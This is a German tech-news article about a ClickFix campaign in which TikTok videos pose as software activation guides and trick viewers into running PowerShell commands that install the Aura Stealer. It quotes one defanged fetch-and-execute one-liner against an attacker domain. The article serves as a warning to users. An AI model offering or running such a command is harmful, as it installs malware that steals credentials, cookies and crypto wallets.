Cyberkriminelle nutzen TikTok für Malware-Verbreitung

LONDON (IT BOLTWISE) – Eine neue Welle von Cyberangriffen nutzt TikTok-Videos, um Malware zu verbreiten. Diese Videos geben vor, kostenlose Aktivierungsanleitungen für beliebte Software zu bieten, während sie tatsächlich schädliche Skripte ausführen.

Cyberkriminelle haben eine neue Methode entwickelt, um Malware zu verbreiten, indem sie TikTok-Videos als Köder verwenden. Diese Videos geben vor, kostenlose Aktivierungsanleitungen für beliebte Software wie Windows, Spotify und Netflix zu bieten. Doch anstatt legitime Anleitungen zu liefern, führen sie die Nutzer in die Irre und veranlassen sie, schädliche PowerShell-Befehle auszuführen.

Der Sicherheitsforscher Xavier Mertens hat diese Kampagne entdeckt, die in ihrer Struktur der von Trend Micro im Mai beobachteten ähnelt. Die TikTok-Videos täuschen vor, Anleitungen zur Aktivierung legitimer Produkte wie Windows, Microsoft 365, Adobe Premiere, Photoshop, CapCut Pro und Discord Nitro zu bieten. Auch fiktive Dienste wie Netflix und Spotify Premium werden vorgetäuscht.

Die Videos nutzen eine Technik namens ClickFix, eine Form des Social Engineering, bei der scheinbar legitime Anweisungen gegeben werden, die die Nutzer dazu verleiten, schädliche Skripte auszuführen. Jeder Clip zeigt einen kurzen Einzeiler, den die Zuschauer als Administrator in PowerShell ausführen sollen, wie zum Beispiel: iex (irm slmgr[.]win/photoshop).

Wird dieser Befehl ausgeführt, verbindet sich PowerShell mit der Remote-Site slmgr[.]win, um ein weiteres PowerShell-Skript herunterzuladen und auszuführen. Dieses Skript lädt zwei ausführbare Dateien von Cloudflare-Seiten herunter. Die erste Datei, updater.exe, ist eine Variante der Aura Stealer Malware, die gespeicherte Anmeldedaten von Browsern, Authentifizierungscookies, Kryptowährungs-Wallets und anderen Anwendungen sammelt und an die Angreifer überträgt.

Zusätzlich wird eine weitere Nutzlast namens source.exe heruntergeladen, die dazu verwendet wird, Code mit dem integrierten Visual C# Compiler von .NET selbst zu kompilieren. Der Zweck dieser zusätzlichen Nutzlast bleibt unklar. Nutzer, die diese Schritte ausführen, sollten davon ausgehen, dass alle ihre Anmeldedaten kompromittiert sind, und sofort ihre Passwörter auf allen besuchten Websites zurücksetzen.

ClickFix-Angriffe haben im vergangenen Jahr an Popularität gewonnen und werden zur Verbreitung verschiedener Malware-Stämme in Ransomware- und Kryptowährungsdiebstahl-Kampagnen eingesetzt. Generell sollten Nutzer niemals Text von einer Website kopieren und in einem Betriebssystem-Dialogfeld ausführen, einschließlich der Adressleiste des Datei-Explorers, der Eingabeaufforderung, der PowerShell-Eingabeaufforderungen, des macOS-Terminals und der Linux-Shells.

Bestseller Nr. 1 ᵃ⤻ᶻ «KI Gadgets»

Neu 2025 KI Übersetzer Kopfhörer, 3-in-1 Echtzeit Sprachübersetzer Ohrhörer mit 164 Sprachen & 7 Modi, Bluetooth 5.4 Kopfhörer Übersetzer mit App, LED Display, 42H Laufzeit für Reisen Weiß

37,99 EUR

Bestseller Nr. 2 ᵃ⤻ᶻ «KI Gadgets»

Neu 2025 KI Übersetzer Kopfhörer, 3-in-1 Echtzeit Sprachübersetzer Ohrhörer mit 164 Sprachen & 7 Modi, Bluetooth 5.4 Kopfhörer Übersetzer mit App, LED Display, 42H Laufzeit für Reisen/Business Schwarz

35,99 EUR

Bestseller Nr. 3 ᵃ⤻ᶻ «KI Gadgets»

Apple AirTag - Finde und behalte Deine Sachen im Blick: Schlüssel, Geldbörsen, Gepäck, Rucksäcke und mehr. Einfaches Einrichten mit iPhone oder iPad. Austauschbare Batterie

30,90 EUR

Bestseller Nr. 4 ᵃ⤻ᶻ «KI Gadgets»

KI Übersetzer Kopfhörer, Bluetooth 5.4 Kopfhörer Übersetzer mit 164 Sprachen kopfhörer übersetzer echtzeit mit 7 Modi, ENC Rauschunterdrückung AI-Assistent 56H Laufzeit für Business, Reisen und Lernen

29,99 EUR

Bestseller Nr. 5 ᵃ⤻ᶻ «KI Gadgets»

Neu 2025 KI Übersetzer Kopfhörer, 3-in-1 Echtzeit Sprachübersetzer Ohrhörer mit 164 Sprachen & 7 Modi, Bluetooth 5.4 Kopfhörer Übersetzer mit App, LED Display, 42H Laufzeit für Reisen Roségold

35,99 EUR

Unseren KI-Morning-Newsletter «Der KI News Espresso» mit den besten KI-News des letzten Tages gratis per eMail - ohne Werbung: Hier kostenlos eintragen!